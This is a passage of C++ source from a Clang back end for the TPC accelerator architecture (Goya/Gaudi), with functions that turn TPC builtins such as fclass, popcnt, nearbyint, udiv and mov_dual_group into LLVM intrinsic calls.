Args.push_back(CGF->EmitScalarExpr(E->getArg(TensorOpNum)));\n Value *Val = CGF->EmitScalarExpr(E->getArg(ValueOpNum));\n Args.push_back(Val);\n\n if (SwitchVal & TPCII::SW_RMW_SEL)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(RMWOpNum)));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Args.push_back(Switches);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(IID, Val->getType());\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// float64 v_f32_fclass_b(float64 a, int switches, float64 income, bool predicate, bool polarity);\n// float64 v_f32_fclass_limit_b(float64 a, float64 b, float64 c, int switches, float64 income, bool predicate, bool polarity);\n//\nstatic Value *emit_FCLASS(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned SrcBOpNum = 1;\n const unsigned SrcCOpNum = 2;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_LIMIT;\n unsigned IID;\n switch (BuiltinID) {\n case TPC::BIs_f32_fclass:\n case TPC::BIs_bf16_fclass:\n case TPC::BIv_f32_fclass_b:\n case TPC::BIv_bf16_fclass_b:\n case TPC::BIv_f32_fclass_vb:\n case TPC::BIv_bf16_fclass_vb:\n assert(NumArgs == 5);\n RequiredSwitches = 0;\n IID = Intrinsic::tpc_fclass;\n break;\n default:\n llvm_unreachable(\"Unhandled FCLASS intrinsic\");\n }\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // Operands.\n const Expr *SrcArg = E->getArg(SrcOpNum);\n SmallVector<llvm::Value *, 8> Args;\n Value *Src = CGF->EmitScalarExpr(SrcArg);\n Args.push_back(Src);\n if (SwitchVal & TPCII::SW_LIMIT) {\n Args.push_back(CGF->EmitScalarExpr(E->getArg(SrcBOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(SrcCOpNum)));\n }\n\n auto DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(SrcArg->getType()));\n Args.push_back(DT);\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Args.push_back(Switches);\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(IID,\n { ResultTy,\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// uchar256 v_i32_popcnt_b(int64 a, int switches, uchar256 income, bool predicate, bool polarity);\n//\nstatic Value *emit_POPCNT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n assert(NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Operands.\n const Expr *SrcArg = E->getArg(SrcOpNum);\n Value *Src = CGF->EmitScalarExpr(SrcArg);\n auto DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(SrcArg->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_popcnt,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, {Src, DT, Switches, Income, Predicate, Polarity});\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// uchar256 v_i32_find_first_b (int64 a, int switches, uchar256 income, bool predicate, bool polarity);\n//\nstatic Value *emit_FIND_FIRST(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n assert(NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Operands.\n const Expr *SrcArg = E->getArg(SrcOpNum);\n Value *Src = CGF->EmitScalarExpr(SrcArg);\n auto DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(SrcArg->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_find_first,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, { Src, DT, Switches, Income, Predicate, Polarity });\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// float s_f32_nearbyint(float a, int switches, float income, bool predicate, bool polarity);\n//\nstatic Value *emit_NEARBYINT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SwOpNum = NumArgs-4;\n const unsigned IncomeOpNum = NumArgs-3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches.\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_TO_TYPE | TPCII::SW_CNVRT;\n const TargetInfo &TI = CGF->getContext().getTargetInfo();\n switch (BuiltinID) {\n case TPC::BIs_f32_nearbyint:\n case TPC::BIs_bf16_nearbyint:\n RequiredSwitches = 0;\n break;\n RequiredSwitches = 0;\n break;\n case TPC::BIv_f32_nearbyint_b:\n case TPC::BIv_f32_nearbyint_vb:\n RequiredSwitches = 0;\n break;\n case TPC::BIv_bf16_nearbyint_b:\n case TPC::BIv_bf16_nearbyint_vb:\n RequiredSwitches = 0;\n break;\n default:\n llvm_unreachable(\"Unhandled NEARBYINT intrinsic\");\n }\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n if (TI.hasFeature(\"goya\"))\n SwitchVal = translateGen1RoundingMode(SwitchVal);\n\n // Operands.\n Value *Src = CGF->EmitScalarExpr(/* a */ E->getArg(0));\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(0)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_nearbyint,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src, DT, Switches, Income, Predicate, Polarity});\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n assert(Multiplicity == 2);\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// int64 v_f32_extract_exp_vb(float64 a, int switches, int64 income, bool64 predicate, bool polarity);\n//\nstatic Value *emit_EXTRACT_EXP(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n assert(NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Operands.\n const Expr *SrcArg = E->getArg(SrcOpNum);\n Value *Src = CGF->EmitScalarExpr(SrcArg);\n auto DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(SrcArg->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_extract_exp,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, { Src, DT, Switches, Income, Predicate, Polarity });\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\nstatic Value *emit_BREV(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n assert(NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Operands.\n const Expr *SrcArg = E->getArg(SrcOpNum);\n Value *Src = CGF->EmitScalarExpr(SrcArg);\n auto DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(SrcArg->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_brev,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, { Src, DT, Switches, Income, Predicate, Polarity });\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n// float64 v_f32_mov_dual_group_vb(float64 a, const uint32_t b, const int src_dg,\n// const int dest_dg, int switches, float64 income, bool64 predicate, bool polarity);\nstatic Value* emit_MOV_DUAL_GROUP(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Value *WrEn = CGF->EmitScalarExpr(E->getArg(1));\n\n unsigned SwitchVal = 0;\n Expr::EvalResult ResVal;\n // SRC_DUAL_GROUP\n bool Res = E->getArg(2)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n unsigned Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SRC_DUAL_GROUP_SHIFT);\n // DEST_DUAL_GROUP\n Res = E->getArg(3)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_DST_DUAL_GROUP_SHIFT);\n // WR_LOWER_GROUP, WR_UPPER_GROUP\n Res = E->getArg(4)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert((Sw & 0x0F00) == 0);\n SwitchVal |= Sw;\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n\n Value *Income = CGF->EmitScalarExpr(E->getArg(5));\n Value *Pred = emitPredicate(CGF, E->getArg(6));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(7));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_dual_group, { Income->getType(), Pred->getType() });\n return CGF->Builder.CreateCall(Callee, { Src, WrEn, Switches, Income, Pred, Polarity });\n}\n\n// float64 v_f32_mov_dual_group_all_vb(float64 a, const uint32_t b, const int sdg0,\n// const int sdg1, const int sdg2, const int sdg3, int switches, float64 income,\n// bool64 predicate, bool polarity);\nstatic Value *emit_MOV_DUAL_GROUP_ALL(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Value *WrEn = CGF->EmitScalarExpr(E->getArg(1));\n\n unsigned SwitchVal = 0;\n Expr::EvalResult ResVal;\n // SRC_DUAL_GROUP[0]\n bool Res = E->getArg(2)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n unsigned Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG0_SHIFT);\n // SRC_DUAL_GROUP[1]\n Res = E->getArg(3)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG1_SHIFT);\n // SRC_DUAL_GROUP[2]\n Res = E->getArg(4)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG2_SHIFT);\n // SRC_DUAL_GROUP[3]\n Res = E->getArg(5)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG3_SHIFT);\n // WR_LOWER_GROUP[], WR_UPPER_GROUP[]\n Res = E->getArg(6)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res; assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert((Sw & 0x0FF00) == 0);\n SwitchVal |= Sw;\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n\n Value *Income = CGF->EmitScalarExpr(E->getArg(7));\n Value *Pred = emitPredicate(CGF, E->getArg(8));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(9));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_dual_group_all, { Income->getType(), Pred->getType() });\n return CGF->Builder.CreateCall(Callee, { Src, WrEn, Switches, Income, Pred, Polarity });\n}\n\n// const int sdg1, const int sdg2, const int sdg3, int switches, half128\n// income, bool128 predicate, bool polarity);\nstatic Value *emit_MOV_DUAL_GROUP_UNPACK(CodeGenFunction *CGF,\n const CallExpr *E) {\n Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Value *WrEn = CGF->EmitScalarExpr(E->getArg(1));\n\n unsigned SwitchVal = TPCII::SW_MDG_TYPE_UNPACK;\n Expr::EvalResult ResVal;\n // SRC_DUAL_GROUP[0]\n bool Res = E->getArg(2)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res;\n assert(Res);\n unsigned Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG0_SHIFT);\n // SRC_DUAL_GROUP[1]\n Res = E->getArg(3)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res;\n assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG1_SHIFT);\n // SRC_DUAL_GROUP[2]\n Res = E->getArg(4)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res;\n assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG2_SHIFT);\n // SRC_DUAL_GROUP[3]\n Res = E->getArg(5)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res;\n assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert(Sw < 4);\n SwitchVal |= (Sw << TPCII::SW_SDG3_SHIFT);\n // WR_LOWER_GROUP[], WR_UPPER_GROUP[]\n Res = E->getArg(6)->EvaluateAsRValue(ResVal, CGF->getContext());\n (void)Res;\n assert(Res);\n Sw = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n assert((Sw & 0x0FF00) == 0);\n SwitchVal |= Sw;\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n\n Value *Income = CGF->EmitScalarExpr(E->getArg(7));\n Value *Pred = nullptr;\n if (E->getArg(7)->getType()->isVectorType()) {\n Pred = emitPredicate(CGF, E->getArg(8));;\n } else {\n Pred = CGF->EvaluateExprAsBool(E->getArg(8));\n }\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(9));\n\n Function *Callee = CGF->CGM.getIntrinsic(\n Intrinsic::tpc_mov_dual_group_unpack, {Income->getType(), Pred->getType()});\n return CGF->Builder.CreateCall(\n Callee, {Src, WrEn, Switches, Income, Pred, Polarity});\n}\n\n// float64 v_f32_mov_dual_group_pack_vb (float64 a, int switches, float64 income,\n// bool64 predicate, bool polarity);\nstatic Value *emit_MOV_DUAL_GROUP_PACK(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(1));\n Value *Income = CGF->EmitScalarExpr(E->getArg(2));\n Value *Pred = emitPredicate(CGF, E->getArg(3));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(4));\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_dual_group_pack,\n { Income->getType(),\n Pred->getType() });\n return CGF->Builder.CreateCall(Callee, { Src, Switches, Income, Pred, Polarity });\n}\n\n\n// uint32_t_pair_t u32_udiv_step(uint32_t a, uint32_t step, int switches, uint32_t_pair_t income, bool predicate, bool polarity);\n//\nstatic Value *emit_UDIV_STEP(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n if (!E->getArg(1)->isConstantInitializer(CGF->getContext(), false))\n report_fatal_error(\"The step in UDIV_STEP or UDIV_4STEP must be a \"\n \"constant on Gaudi architecture.\");\n\n Value* Src = CGF->EmitScalarExpr(E->getArg(0));\n Value* Step = CGF->EmitScalarExpr(E->getArg(1));\n Value* Sw = CGF->EmitScalarExpr(E->getArg(2));\n Value* DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(0)->getType()));\n Value *Income = emitOperand(CGF, E->getArg(3));\n Value *Pred = emitOperand(CGF, E->getArg(4));\n Value *Polarity = emitOperand(CGF, E->getArg(5));\n\n SmallVector<llvm::Value *, 7> Args;\n Args.push_back(Src);\n Args.push_back(Step);\n Args.push_back(DT);\n Args.push_back(Sw);\n Args.push_back(Income);\n Args.push_back(Pred);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_udiv_step,\n { Income->getType(), Src->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n Result = getStructFieldFromDoubleScalarRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\nstatic Value *emit_UDIV(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n bool IsBoth = false;\n unsigned DivModeMask = TPCII::SW_GROUP_DIV_MODE;\n\n Expr::EvalResult ResVal;\n bool R = E->getArg(2)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n if (IsBoth) {\n SwitchVal &= ~DivModeMask;\n SwitchVal |= TPCII::SW_DIV_MODE_BOTH;\n }\n Value *SrcA = CGF->EmitScalarExpr(E->getArg(0));\n Value *SrcB = CGF->EmitScalarExpr(E->getArg(1));\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty,\n getOptypeValue(E->getArg(0)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(4));\n Value *Polarity = emitPredicate(CGF, E->getArg(5));\n\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(3));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_udiv,\n { ResultTy,\n SrcA->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {SrcA, SrcB, DT, Switches, Income, Predicate, Polarity});\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n assert(Multiplicity == 2);\n Result = getStructFieldFromDoubleScalarRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n\n}\n\nstatic Value *emit_MOV_GROUP(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Value *Imm = CGF->EmitScalarExpr(E->getArg(1));\n Value *Sw = CGF->EmitScalarExpr(E->getArg(2));\n Value *Income = CGF->EmitScalarExpr(E->getArg(3));\n Value *Pred = emitPredicate(CGF, E->getArg(4));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(5));\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_mov_group,\n { CGF->ConvertType(E->getType()),\n CGF->ConvertType(E->getArg(0)->getType()),\n Pred->getType() });\n return CGF->Builder.CreateCall(Callee, {Src, Imm, Sw, Income, Pred, Polarity});\n}\n\nstatic Value *emit_EVENT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Src = CGF->EmitScalarExpr(E->getArg(0));\n Value *Sw = CGF->EmitScalarExpr(E->getArg(1));\n Value *Pred = emitPredicate(CGF, E->getArg(2));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(3));\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_event);\n return CGF->Builder.CreateCall(Callee, {Src, Sw, Pred, Polarity});\n}\n\n// float128 v_f32_sel2_less_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float128 income, bool64 predicate, bool polarity);\n//\nstatic Value *emit_SEL(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch, unsigned IID) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Adjust FE operands.\n const Expr *ASrcA = E->getArg(0);\n const Expr *ASrcB = E->getArg(1);\n const Expr *ASrcC = E->getArg(2);\n const Expr *ASrcD = E->getArg(3);\n\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(ASrcB))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n ASrcB = Cast->getSubExpr();\n if (ASrcB->getType()->isVectorType())\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(ASrcD))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n ASrcD = Cast->getSubExpr();\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Operands.\n Value *SrcA = CGF->EmitScalarExpr(ASrcA);\n Value *SrcB = CGF->EmitScalarExpr(ASrcB);\n Value *SrcC = CGF->EmitScalarExpr(ASrcC);\n Value *SrcD = CGF->EmitScalarExpr(ASrcD);\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(ASrcA->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, 